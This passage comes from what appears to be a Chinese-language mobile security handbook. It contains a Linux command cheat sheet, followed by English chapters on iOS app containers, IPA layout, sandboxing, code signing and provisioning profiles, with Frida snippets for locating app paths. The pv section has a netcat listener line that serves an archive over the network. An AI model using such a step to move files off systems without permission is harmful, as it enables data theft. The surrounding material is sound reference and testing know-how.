# 设置 sticky 位
$ chmod o+t <name>
```

#### 权限数字对照表

| 权限  | 数字 | 含义       |
| --- | -- | -------- |
| rwx | 7  | 读取+写入+执行 |
| rw- | 6  | 读取+写入    |
| r-x | 5  | 读取+执行    |
| r-- | 4  | 读取       |
| -wx | 3  | 写入+执行    |
| -w- | 2  | 写入       |
| --x | 1  | 执行       |
| --- | 0  | 无权限      |

#### 特殊权限

* **setuid (4)**: 以文件所有者权限执行
* **setgid (2)**: 以文件所属组权限执行
* **sticky (1)**: 只有文件所有者能删除文件

### curl - 数据传输工具

[curl](https://github.com/curl/curl) 是一个命令行工具和库，用于使用URL语法传输数据。

有用的操作模式：

* [-o, --output ](https://curl.se/docs/manpage.html#-o)- 将输出写入`file`而不是stdout。
* [-X, --request ](https://curl.se/docs/manpage.html#-X)- 指定在与HTTP服务器通信时使用的自定义请求方法。
* [-H, --header ](https://curl.se/docs/manpage.html#-H)<header/@file> - 在向服务器发送HTTP时要包含的额外标头。
* [-d, --data ](https://curl.se/docs/manpage.html#-d)- 向请求添加主体。
* [--path-as-is](https://curl.se/docs/manpage.html#--path-as-is) - 告诉curl不要处理给定URL路径中的`/../`或`/./`序列。
* [-v, --verbose](https://curl.se/docs/manpage.html#-v) - 使curl在操作期间详细输出。

#### 常用 curl 示例

```bash
# GET 请求
$ curl https://api.example.com/data

# POST 请求
$ curl -X POST -H "Content-Type: application/json" -d '{"key":"value"}' https://api.example.com

# 下载文件
$ curl -o filename.jpg https://example.com/image.jpg

# 跟随重定向
$ curl -L https://example.com

# 设置超时
$ curl --connect-timeout 10 --max-time 30 https://example.com

# 使用代理
$ curl -x http://proxy.example.com:8080 https://example.com

# 显示响应头
$ curl -I https://example.com

# 保存cookie
$ curl -c cookies.txt https://example.com

# 使用cookie
$ curl -b cookies.txt https://example.com
```

### find - 文件查找工具

```bash
# 大小写敏感搜索
$ find / -name '*some*'

# 大小写不敏感搜索
$ find / -iname '*some*'

# ls 样式的输出格式
$ find / -iname '*some*' -ls

# 删除找到的文件（危险：没有确认）
$ find dir_to_delete/ -delete

# 使用搜索结果执行脚本
# 格式： 
#   -exec <command> {} \;
#   <command> - 要执行的脚本/命令
#   {} - 找到的文件的位置
#   \; - <command> 的结束
$ find / -iname '*some*' -exec ./script.sh {} \;
```

#### 高级 find 用法

```bash
# 按类型查找
$ find . -type f          # 普通文件
$ find . -type d          # 目录
$ find . -type l          # 符号链接

# 按大小查找
$ find . -size +10M       # 大于10MB
$ find . -size -1k        # 小于1KB

# 按时间查找
$ find . -mtime -7        # 7天内修改过
$ find . -atime +30       # 30天前访问过

# 按权限查找
$ find . -perm 755        # 权限为755的文件
$ find . -perm -u=x       # 用户有执行权限

# 组合条件
$ find . -name "*.log" -mtime +30 -size +1M
```

### grep - 文本搜索工具

```bash
# 不使用正则表达式搜索字符串
# fgrep 是 grep -F 的别名
$ fgrep

# 使用perl兼容的正则表达式（或"真正的"正则表达式）
$ grep -P

# 在gz压缩文件中搜索
$ zgrep

# 在搜索结果中高亮找到的单词
$ grep --color=force

# 反向匹配（不包含匹配的行）
$ grep -v

# 按文件内容搜索
$ grep -rnw '/path/to/somewhere/' -e 'pattern'
```

#### 常用 grep 选项

```bash
# 递归搜索目录
$ grep -r "pattern" /path/to/dir

# 显示行号
$ grep -n "pattern" file.txt

# 只显示匹配的文件名
$ grep -l "pattern" *.txt

# 显示不匹配的文件名
$ grep -L "pattern" *.txt

# 统计匹配行数
$ grep -c "pattern" file.txt

# 显示匹配行的上下文
$ grep -A 2 -B 2 "pattern" file.txt  # 前后各2行

# 匹配整个单词
$ grep -w "word" file.txt

# 忽略大小写
$ grep -i "pattern" file.txt

# 使用扩展正则表达式
$ grep -E "pattern1|pattern2" file.txt
```

### ipython - 交互式Python shell

[ipython](https://github.com/ipython/ipython) 是一个方便的Python命令行shell，支持：

* Tab补全
* 通过`.method?` + enter获取帮助
* 在脚本中嵌入进行调试，使用交互式shell：

  ```python
  from IPython import embed; embed()
  ```

### ncdu - 磁盘使用分析器

[ncdu](https://dev.yorhel.nl/ncdu) 是一个带有ncurses界面的磁盘使用分析器。

```bash
$ ncdu /
```

有用的热键：

* 通过方向键导航
* `s` - 按大小排序
* `C` - 按数量排序
* `c` - 显示数量
* `d` - 删除

### pv - 管道进度监控器

[pv](https://linux.die.net/man/1/pv) - 监控通过管道的数据的进度。

```bash
$ ./app1 | pv | ./app2
$ cat /dev/urandom | pv | xxd > /dev/null

# 类似cat的行为，带有进度条
$ pv file | ./app
$ pv some_file.txt | bzip2 > /dev/null

# tar压缩进度条
$ tar cz /folder | pv > folder.tar.gz

# 网络数据传输进度条
$ pv folder.tar.gz | nc -nlvp 1337

# 监控其他进程
$ pv -d PID

# 限制速度
$ pv file.txt -L 2 # 每秒2字节
$ pv file.txt -L -l 2 # 每秒2行
```

### ssh - 安全远程连接

{% embed url="<https://iximiuz.com/en/posts/ssh-tunnels/>" %}

#### 常用SSH命令

```bash
# 基本连接
$ ssh user@hostname

# 指定端口连接
$ ssh -p 2222 user@hostname

# 使用密钥文件连接
$ ssh -i ~/.ssh/private_key user@hostname

# 端口转发
$ ssh -L 8080:localhost:80 user@hostname  # 本地转发
$ ssh -R 8080:localhost:80 user@hostname  # 远程转发

# SSH隧道
$ ssh -L 9999:target-host:80 user@jump-host

# 执行远程命令
$ ssh user@hostname "ls -la"

# 文件传输
$ scp file.txt user@hostname:/remote/path/
$ scp user@hostname:/remote/file.txt /local/path/
```

### tar - 归档工具

[tar](https://linux.die.net/man/1/tar) 将许多文件一起保存到单个磁带或磁盘归档中，并可以从归档中恢复单个文件。

有用的操作模式：

* `-c` - 创建新归档
* `-f` - 使用归档文件或设备ARCHIVE
* `-j, --bzip2` - 通过bzip2压缩/解压缩归档
* `-z, --gzip` - 通过gzip压缩/解压缩归档
* `-t, --list` - 列出归档的内容
* `-x` - 从归档中提取文件
* `-C, --directory=DIR` - 将输出目录更改为DIR
* `-v` - 详细列出处理的文件

```bash
# 创建tar归档
$ tar cf archive.tar foo bar

# 创建bzip2归档
$ tar cf archive.tar.bz2 foo bar

# 创建gzip归档
$ tar cf archive.tar.gz foo bar

# 提取归档
$ tar xf archive.tar.gz

# 提取到指定目录
$ tar xf archive.tar.gz -C /path/to/extract

# 查看归档内容
$ tar tf archive.tar.gz

# 排除文件
$ tar czf backup.tar.gz --exclude='*.log' /path/to/backup
```

### youtube-dl - 视频下载工具

[youtube-dl](https://github.com/ytdl-org/youtube-dl) 是一个命令行程序，用于从YouTube和其他视频网站下载视频。

```bash
$ youtube-dl https://youtu.be/somth12asd34

# 选择格式和质量
$ youtube-dl -f "best[height<=720]" URL

# 下载音频
$ youtube-dl -x --audio-format mp3 URL

# 下载播放列表
$ youtube-dl -f "best" -cit URL

# 下载字幕
$ youtube-dl --write-sub --sub-lang en URL
```

### 现代Unix工具

{% embed url="<https://github.com/ibraheemdev/modern-unix>" %}

#### 其他有用的工具

**jq - JSON处理器**

```bash
$ cat file.json | jq '.key'
$ echo '{"name": "John", "age": 30}' | jq '.'
```

**rg - 代码搜索工具**

```bash
$ rg "pattern" /path/to/search
$ rg -i "pattern"  # 忽略大小写
```

**fd - 文件查找工具**

```bash
$ fd "pattern"
$ fd -e md -e txt  # 按扩展名查找
```

**htop - 进程监控器**

```bash
$ htop
$ htop -u username  # 显示特定用户的进程
```

**bat - 增强版cat**

```bash
$ bat file.txt
$ bat -A file.txt  # 显示所有字符
```


# 概述


# 应用数据与文件

The iOS file system is geared toward apps running on their own. To keep the system simple, users of iOS devices do not have direct access to the file system and apps are expected to follow this convention.

For security purposes, an iOS app's interactions with the file system are limited to the directories inside the app's sandbox directory. During installation of a new app, the installer creates a number of container directories for the app inside the sandbox directory. Each container directory has a specific role. The bundle container directory holds the app's bundle, whereas the data container directory holds data for both the app and the user. The data container directory is further divided into a number of subdirectories that the app can use to sort and organize its data. The app may also request access to additional container directories—for example, the iCloud container—at runtime.

![ios-app-layout](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-f19d4f9be5a7781fb19fd2439dd6e756a1c37191%2Fios-app-layout.png?alt=media)

## Bundle container structure

Bundle directory consists of all the files that come along with the application when installed from Apple's App Store or any other source. Much important information can be obtained about the application from the files in these directories. The main components of the Bundle directory of a native iOS application:

| Name                                   | Type      | Description                                                                                                                                                                                                                                                                                                                       |
| -------------------------------------- | --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| \_CodeSignature                        | Directory | This directory contains the CodeResources file, which is used to store the signature of all files in the bundle that are signed.                                                                                                                                                                                                  |
| Application Binary                     | File      | This file contains the application's executable code. The name of this file is the same as that of the name of the .app directory excluding the extension '.app'.                                                                                                                                                                 |
| Application Icon                       | File      | These are the icon files of the application. There are multiple icon files (MyAppIcon.png, <MyAppIcon@2x.png> etc.) for representation of the application on devices with different resolution like iPhone or iPad.                                                                                                               |
| Assets.car                             | File      | This file contains Asset catalogs in an optimized format with multiple resolution images for each device that developer uses when create the application. In Xcode, an asset catalog appears as a .xcassets folder.                                                                                                               |
| Base.lproj                             | Directory | This directory contains the .storyboard and .xib files in the development language. Other folders with the .lproj extension are included if developer selects multiple languages.                                                                                                                                                 |
| Custom resource files                  | File      | Non-localized resources are placed at the top level directory (MyApp.app) and localized resources are placed in language-specific subdirectories of the application bundle. Resources consist of nib files, images, sound files, configuration files, strings files, and any other custom data files required by the application. |
| embedded.mobileprovision               | File      | This plist file contains the provisioning profile for an application. In simple words, provisioning profile acts as a link between the device and the developer account. This file contains information such as application creation date, keychain access groups etc.                                                            |
| Frameworks                             | Directory | This directory includes all the dynamic libraries and frameworks used by the application.                                                                                                                                                                                                                                         |
| Info.plist                             | File      | This file is the manifest of the iOS application. It contains information about - Supported Devices, Bundle ID, Display Name, Application Transport Security etc.                                                                                                                                                                 |
| Launch Images                          | File      | These files (Default-ipad.png, <Default@2x-ipad.png> etc.) are used as launch screen images before the application launches. They are removed as soon as the application is ready to display the user interface.                                                                                                                  |
| PkgInfo                                | File      | This file contains a 4-byte package type followed by the 4-byte signature of the application. This file is created the same time as the bundle and it is not necessary for the functioning of an iOS app.                                                                                                                         |
| PlugIns                                | Directory | This directory contains the .appex directories with extension packages.                                                                                                                                                                                                                                                           |
| SC\_Info                               | Directory | This directory contains keys which are used for decrypting the app's executable. The files in this directory help in integrity checks of the application.                                                                                                                                                                         |
| Settings.bundle                        | File      | The Settings bundle is a special type of plug-in that contains any application-specific preferences that a developer wants to add to the Settings application. This bundle contains property lists and other resource files to configure and display your preferences.                                                            |
| Subdirectories for localized resources | Directory | These are the language-specific project directories (en.lproj, fr.lproj etc.) that help in switching the language of the application from the available languages as desired by the user of the application.                                                                                                                      |

To find out where the bundle container is located, you can override the implementation of the [application(\_:didFinishLaunchingWithOptions:)](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1622921-application) in the `AppDelegate` class:

```swift
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool {
    print(Bundle.main.bundlePath)

    return true
}
```

or you can use Frida:

```javascript
ObjC.classes.NSBundle.mainBundle().bundlePath().toString();
```

You should see the path like `/var/containers/Bundle/Application/<app-GUID>/`.

## Data container structure

Data container or Local Data Storage container is used to store data locally for both the application and the user. This directory is divided into a number of subdirectories that the app can use to sort and organize its data. It is may be used for caching information, offline storing information etc.

Commonly used directories of the data container:

| Name            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Documents       | <p>This directory is used to store user-generated content. The contents of this directory can be accessed by the user through file sharing; therefore, this directory should only contain files that can be made available to the user.</p><p>The contents of this directory are backed up by iTunes and iCloud.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| Documents/Inbox | <p>This directory is used to access files that the app was asked to open by outside entities. Specifically, the Mail program places email attachments associated with app in this directory. Document interaction controllers may also place files in it.</p><p>The app can read and delete files in this directory but cannot create new files or write to existing files.</p><p>The contents of this directory are backed up by iTunes and iCloud.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Library         | <p>This is the top-level directory for any files that are not user data files.</p><p><strong>Application Support</strong>. This directory is used to store all app data files except those associated with the user's documents. Sometimes it may also be used to store a modifiable copy of resources contained initially in the app's bundle.</p><p><strong>Caches</strong>. This directory is used to write any app-specific support files that the application can recreate easily. The data in this directory is mostly the cache for the analytics that can be sent when required and also the server’s responses for delivering quick responses to the user’s queries.This directory also stores the screenshot of the application in the Snapshots directory when it moves to the background in order to improve user experience.</p><p><strong>Preferences</strong>. This directory contains app-specific preference files. The main file in this directory is the file named .plist which is used by the developers to store information using NSUserDefaults class.</p><p>The contents of the Library directory (with the exception of the Caches subdirectory) are backed up by iTunes and iCloud.</p> |
| tmp             | <p>This directory is used to write temporary files that do not need to persist between launches of app. The app should remove files from this directory when they are no longer needed; however, the system may purge this directory when the app is not running.</p><p>The contents of this directory are not backed up by iTunes or iCloud.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| Storekit        | <p>This directory is important only for business perspective. It provides the access to the following:</p><p><strong>> In-App Purchase</strong>. Offers and promotes in-app purchases for content and services.</p><p><strong>> Apple Music</strong>. Checks a user's Apple Music capabilities and offers a subscription.</p><p><strong>> Recommendations and reviews</strong>. Provide recommendations for third-party content and enable users to rate and review your app.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |

To find out where the data container is located, you can override the implementation of the [application(\_:didFinishLaunchingWithOptions:)](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1622921-application) in the `AppDelegate` class as shown in the following example:

```swift
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool {
    print(NSHomeDirectory())

    return true
}
```

or using Frida:

```javascript
ObjC.classes.NSProcessInfo.processInfo().environment().objectForKey_("HOME").toString();
```

You should see a path like `/var/mobile/Containers/Data/Application/<app-GUID>`.

## iCloud container

This directory contains data that iCloud enabled iOS applications use. The files in this directory are meant to stored and updated by the sources where a user decides to update the file from.

![icloud-directories](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-6cc9b85babc73fbc7429d5a8e092ba65ce388de8%2Ficloud-directories.png?alt=media)

iCloud container consists of usually two parts:

* **Documents**. The files in this directory are meant to be read and updated directly by the user. These files are backed up to iCloud regularly to keep in sync.
* **Data**. These files are not meant to be edited or added directly by the user. Data may be kept in different directories as desired by the developer.

## Resources

* [File System Programming Guide: File System Basics](https://developer.apple.com/library/archive/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html)
* [Bundle Programming Guide: Bundle Structures](https://developer.apple.com/library/archive/documentation/CoreFoundation/Conceptual/CFBundles/BundleTypes/BundleTypes.html)
* [iCloud Design Guide: iCloud Fundamentals (Key-Value and Document Storage)](https://developer.apple.com/library/archive/documentation/General/Conceptual/iCloudDesignGuide/Chapters/iCloudFundametals.html)
* [Understanding the structure of an iOS application](https://blog.lucideus.com/2019/04/ios-application-security-part-5.html)


# 应用包结构

iOS apps are distributed in IPA (iOS App Store Package) archives. The IPA file is a ZIP-compressed archive that contains all the code and resources required to execute the app.

At a high level, the IPA file has the following structure:

| Name                                       | Type      | Description                                                                                                                                                                                        |
| ------------------------------------------ | --------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Payload                                    | Directory | This directory contains all the application data.                                                                                                                                                  |
| Payload/MyApp.app                          | Directory | [Bundle directory](/ios-ying-yong-an-quan/gai-shu/app-data-files#bundle-container-structure).                                                                                                      |
| Payload/MyApp.app/MyApp                    | File      | This file contains the application's executable code                                                                                                                                               |
| Payload/MyApp.app/embedded.mobileprovision | File      | This plist file contains the [provisioning profile](/ios-ying-yong-an-quan/gai-shu/deployment#provisioning-profiles) for an application.                                                           |
| Payload/MyApp.app/Info.plist               | File      | This file is the manifest of the iOS application.                                                                                                                                                  |
| iTunesArtwork                              | File      | PNG image used as the application's icon                                                                                                                                                           |
| iTunesMetadata.plist                       | File      | This file contains various bits of information, including the developer's name and ID, the bundle identifier, copyright information, genre, the name of the app, release date, purchase date, etc. |
| WatchKitSupport/WK                         | Directory | This specific bundle contains the extension delegate and the controllers for managing the interfaces and responding to user interactions on an Apple Watch.                                        |
| META-INF                                   | Directory | This directory contains metadata about what program was used to create the IPA.                                                                                                                    |

## References

* [Bundle Programming Guide: Bundle Structures](https://developer.apple.com/library/archive/documentation/CoreFoundation/Conceptual/CFBundles/BundleTypes/BundleTypes.html)
* [iOS Testing Guide: Platform Overview](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06a-platform-overview)


# 应用沙箱

On iOS, all third-party applications are "sandboxed", so they are restricted from accessing files stored by other applications or from making changes to the device. Sandboxing prevents applications from gathering or modifying information stored by other applications. Each application has a unique home directory for its files, which is randomly assigned when the application is installed. If a third-party application needs to access information other than its own, it does so only by using services explicitly provided by iOS.

System files and resources are also shielded from the user's applications. The majority of iOS run as the non-privileged user `mobile`, as do all third-party applications. The entire OS partition is mounted as read-only. Unnecessary tools, such as remote login services, are not included in the system software, and APIs do not allow applications to escalate their own privileges to modify other applications or iOS.

## Protections

The restrictions in an App's "jail" include, but are not limited to:

* Inability to break out of the application's directory. The application sees its own bundle container `/var/containers/Bundle/Application/<app-GUID>/` as the root, similar to the [chroot(2)](https://man7.org/linux/man-pages/man2/chroot.2.html) system call. As a result, the application has no knowledge of any other installed applications, and cannot access system files.
* Inability to access any other process on the system, even if that process is owned by the same UID. The application sees itself as the only process executing on the system.
* Inability to directly use any of the hardware devices (camera, GPS, and etc.) without going through Apple's Frameworks (which in turn can impose restrictions).
* Inability to dynamically generate code. The low-level implementations of the [mmap(2)](https://man7.org/linux/man-pages/man2/mmap.2.html) and [mprotect(2)](https://man7.org/linux/man-pages/man2/mprotect.2.html) system calls (Mach's `vm_map_enter` and `vm_map_protect`, respectively) are intentionally modified to prevent any attempts to make writable memory pages executable as well. Combined with code signing and FairPlay, this imposes strong restrictions on what code can be run.
* Inability to perform any operations. For the `mobile` user, only certain operations are allowed. Root permissions for an applications (other than Apple's own) are not possible.

## References

* [Apple Platform Security: Sandboxing](https://support.apple.com/en-gb/guide/security/sec15bfe098e/web)
* [Mac OS X and iOS Internals: To the Apple's Core by Jonathan Levin](https://www.amazon.com/gp/product/1118057651/)


# 应用签名

Application signing allows iOS to identify who signed app and to verify that app has not been modified since developer signed it. The Signing Identity consists of a public-private key pair that Apple creates for developers.

## Certificate Signing Request

A Certificate Signing Request or CSR is a block of encoded text that is given to a Certificate Authority when applying for a certificate. It is usually generated on the server where the certificate will be installed and contains information that will be included in the certificate such as the organization name, common name (domain name), locality, and country. It also contains the public key that will be included in the certificate. A private key is usually created at the same time the CSR is created, making a key pair.

Apple (as a certificate authority) will use the CSR to create an SSL certificate for the developer, but it does not need a private key to create one. A certificate created with a particular CSR will only work with the private key that was generated with it. So if the private key is lost, the certificate will no longer work.

### What is contained in a CSR?

| Name                | Explanation                                                                                                                                         | Examples                                          |
| ------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
| Common Name         | The server fully qualified domain name (FQDN). This must match exactly what you type in your web browser or you will receive a name mismatch error. | <p>\*.google.com</p><p>mail.google.com</p>        |
| Organization        | The legal name of the organization. This should not be abbreviated and should include suffixes such as Inc, Corp, or LLC.                           | Google Inc.                                       |
| Organizational Unit | The division of the organization handling the certificate.                                                                                          | <p>Information Technology</p><p>IT Department</p> |
| City/Locality       | The city where the organization is located.                                                                                                         | Mountain View                                     |
| State/County/Region | The state/region where the organization is located. This should not be abbreviated.                                                                 | California                                        |
| Country             | The two-letter ISO code for the country where the organization is location.                                                                         | <p>US</p><p>GB</p>                                |
| Email address       | An email address used to contact the organization.                                                                                                  | <webmaster@google.com>                            |
| Public Key          | The public key that will go into the certificate.                                                                                                   |                                                   |

### What does a CSR look like?

Most CSRs are created in the Base-64 encoded PEM format.

```
-----BEGIN CERTIFICATE REQUEST-----
MIIByjCCATMCAQAwgYkxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlh
MRYwFAYDVQQHEw1Nb3VudGFpbiBWaWV3MRMwEQYDVQQKEwpHb29nbGUgSW5jMR8w
HQYDVQQLExZJbmZvcm1hdGlvbiBUZWNobm9sb2d5MRcwFQYDVQQDEw53d3cuZ29v
Z2xlLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEApZtYJCHJ4VpVXHfV
IlstQTlO4qC03hjX+ZkPyvdYd1Q4+qbAeTwXmCUKYHThVRd5aXSqlPzyIBwieMZr
WFlRQddZ1IzXAlVRDWwAo60KecqeAXnnUK+5fXoTI/UgWshre8tJ+x/TMHaQKR/J
cIWPhqaQhsJuzZbvAdGA80BLxdMCAwEAAaAAMA0GCSqGSIb3DQEBBQUAA4GBAIhl
4PvFq+e7ipARgI5ZM+GZx6mpCz44DTo0JkwfRDf+BtrsaC0q68eTf2XhYOsq4fkH
Q0uA0aVog3f5iJxCa3Hp5gxbJQ6zV6kJ0TEsuaaOhEko9sdpCoPOnRBm2i/XRD2D
6iNh8f8z0ShGsFqjDgFHyF3o+lUyj+UC6H1QW7bn
-----END CERTIFICATE REQUEST-----
```

## Signing process

* Create a Certificate Signing Request through the Keychain Access Application.
* Keychain Application will create a private key (stored in the keychain) and a certSigningRequest file which developer will then upload to Apple.
* Apple will proof the request and issue a certificate. The Certificate will contain the public key that can be downloaded. After downloaded, the developer need to put it into Keychain Access Application. The Certificate will be pushed into the Keychain and paired with the private key to form the **Code Signing Identity**.
* During app installation, iOS verifies that the private key that was used to sign the app matches the public key in the certificate. If this fails, the app is not installed.

## The digital signature

Signed code contains several different digital signatures:

* If the code is universal, the object code for each slice (architecture) is signed separately. This signature is stored within the binary file itself.
* Various data components of the application bundle (such as the Info.plist file, if there is one) are also signed. These signatures are stored in a file called `_CodeSignature/CodeResources` within the bundle.
* Nested code, such as libraries, helper tools, and other bits of code that are embedded in the app are themselves signed, and their signatures are also stored in `_CodeSignature/CodeResources` within the bundle.

## References

* [What is a provisioning profile & code signing in iOS?](https://medium.com/@abhimuralidharan/what-is-a-provisioning-profile-in-ios-77987a7c54c2)
* [What is a CSR (Certificate Signing Request)?](https://www.sslshopper.com/what-is-a-csr-certificate-signing-request.html)
* [Code Signing Guide: Understanding the Code Signature](https://developer.apple.com/library/archive/documentation/Security/Conceptual/CodeSigningGuide/AboutCS/AboutCS.html)


# 部署

Unlike Android, you cannot install any application on an iOS device, as only Apple allows the application to run. When developers submit an application to the App Store, Apple manually installs the application on test devices and verifies that the application works as described, does not crash during normal use, and complies with their [App Store Review Guidelines](https://developer.apple.com/app-store/review/guidelines/). Once the application passes the review process, Apple re-signs it with its security certificate. And only after that, the application is ready for publication in the App Store.

Apple allows developers to run their applications on an iOS device on behalf of Apple using a provisioning profile. However, this is not the same "sideloading" that can be done on Android, and provisioning profiles impose restrictions on an application.

## Provisioning profiles

The provisioning profile is a collection of digital entities that uniquely ties developers and devices to an authorized development team and enables a device to be used for testing. In other words, the provisioning profile acts as a link between the device and the developer account. During development, the developer chooses on which devices the application can run and which application services it can access. This allows for sufficient flexibility for debugging and testing on the device, including distributing the application to beta testers.

The provisioning profile is downloaded from a developer account as a .mobileprovision file and embedded in the application bundle. In turn, the entire bundle is signed.

### .mobileprovision file

The .mobileprovision file has the following structure:

* **File header** - is a binary data (looks like it does not contain any useful data).
* **plist** - is a plist file with all project-related information.
* **File footer** - is a binary data (looks like that is the file signature).

Example of ad hoc profile plist file:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>AppIDName</key>
  <string>iOS My App</string>
  <key>ApplicationIdentifierPrefix</key>
  <array>
      <string>29QTLV4HFP</string>
  </array>
  <key>CreationDate</key>
  <date>2019-09-27T22:32:55Z</date>
  <key>Platform</key>
  <array>
    <string>iOS</string>
  </array>
  <key>IsXcodeManaged</key>
  <false/>
  <key>DeveloperCertificates</key>
  <array>
      <data>
      MIIFYTCCBEmgAwIBAgIIYToPcWigCVswDQYJKoZIhvcNAQ
      ...
      uFL3pxVdY562UQ58glSEyw4OlkMFLD5IxGZovLuaULzUtq
      FBO/19kvi29WEdJ0kvwhHa+Ba4WbjdCC3aiusr+qHQ==
      </data>
  </array>
  <key>Entitlements</key>
  <dict>
      <key>application-identifier</key>
      <string>29QTLV4HFP.com.mycompany.myapp</string>
      <key>get-task-allow</key>
      <false/>
      <key>keychain-access-groups</key>
      <array>
          <string>29QTLV4HFP.*</string>
      </array>
  </dict>
  <key>ExpirationDate</key>
  <date>2020-02-10T22:32:55Z</date>
  <key>Name</key>
  <string>MyApp Ad Hoc</string>
  <key>ProvisionedDevices</key>
  <array>
      <string>6d08...2ef8</string>
      <string>effd...0381</string>
      <string>a8b6...c437</string>
  </array>
  <key>TimeToLive</key>
  <integer>136</integer>
  <key>UUID</key>
  <string>C248F364-66BD-45E2-BC7C-D736B9FBC809</string>
  <key>Version</key>
  <integer>1</integer>
</dict>
</plist>
```

The provisioning profile consists of several items, the most important of which are described below.

| Item                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| App ID                    | An App ID is a two-part string (`29QTLV4HFP.com.mycompany.myapp`: alpha-numeric characters and App Bundle ID) used to identify one or more apps from a single development team (this can include a `*` wild card to be used for many applications with similar bundle identifiers).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| Development Certificates  | <p>Development Certificate is a unique security certificate issued by Apple that uniquely identifies you as the developer or publisher of the application. The private key of the distribution certificate is used to sign the application. There are two types of signing certificates:</p><p><strong>Development certificate</strong> is used for individual developers who are actively debugging and developing an application.</p><p><strong>Production certificate</strong> is used either a production setting (final build for the App Store) or a QA build that is distributed through Apple's TestFlight Beta or another app test distribution system. These certificates identify you as an App Store Publisher to Apple or as a Test Distributor and can only be used with production provisioning profiles.</p> |
| Unique Device Identifiers | List of device IDs on which the application can run on.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| Entitlements              | <p>Entitlements are special permissions or capabilities required by an application to interact with other Apple services external to the application. Because iOS apps are isolated from each other, they cannot directly interact with other operating system services without entitlements. The types of entitlements include the following:</p><p>> Push Notifications</p><p>> Cloud Kit</p><p>> Keychain Sharing</p><p>> Keychain Sharing</p><p>> etc.</p>                                                                                                                                                                                                                                                                                                                                                               |

The development and app store profiles contain almost the same data with small differences:

* The development profile is almost identical to the ad hoc profile except of `Entitlements.get-task-allow` set to `true`.
* The app store profile does not contain the `ProvisionedDevices` key.

### Types of provisioning profiles

There are 4 different types of provisioning profiles:

* Development
* Ad Hoc
* App Store
* Enterprise

#### Development provisioning profile

The development provisioning profiles are used only when developing an application. The development provisioning profile must be installed on each device on which developers want to run the application. If the information in the provisioning profile does not match certain criteria, the application will not start.

Devices specified within the development provisioning profile can be used for testing only by those individuals whose development certificates are included in the profile. A single device can contain multiple provisioning profiles.

#### Ad Hoc provisioning profile

The ad hoc provisioning profile is similar to the development provisioning profile, but it allows development teams to distribute applications to a specific target set of iOS devices outside of the App Store. Ad hoc provisioning profiles are used to distribute applications to testers who are not included in the iOS Developer Program for an organization.

An app deployed with an ad hoc provisioning profile will be almost identical to the production version is submitting to the App Store (ie. it will need a distribution certificate for push notifications to work and etc.)

#### App Store provisioning profile

The app store provisioning profile is used to submit app to the App Store for distribution. The difference between development and app store profiles is that app store profiles do not specify any device IDs.

#### Enterprise provisioning profile

The [Apple Developer Enterprise Program](https://developer.apple.com/programs/enterprise/) allows companies to create and distribute in-house applications to their employee's iOS devices through the use of the enterprise provisioning profile.

Enterprise provisioning profiles do not need a list of device IDs giving companies the flexibility to install their in-house proprietary apps to an unlimited number of devices that are registered with their enterprise.

## Deployment process

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-bfb584a979082a5926ce017aa0028a241c7c721f%2Fapp-to-profile-mapping.png?alt=media)

When you deploy the application on a device the following things happens:

* The provisioning profile in the Mac goes to the developer certificate in your keychain.
* Xcode uses the certificate to sign the code.
* Device's UUID is matched with the IDs in the provisioning profile.
* App ID in the provisioning profile is matched with the bundle identifier in the application.
* The entitlements required are associated with the App ID.
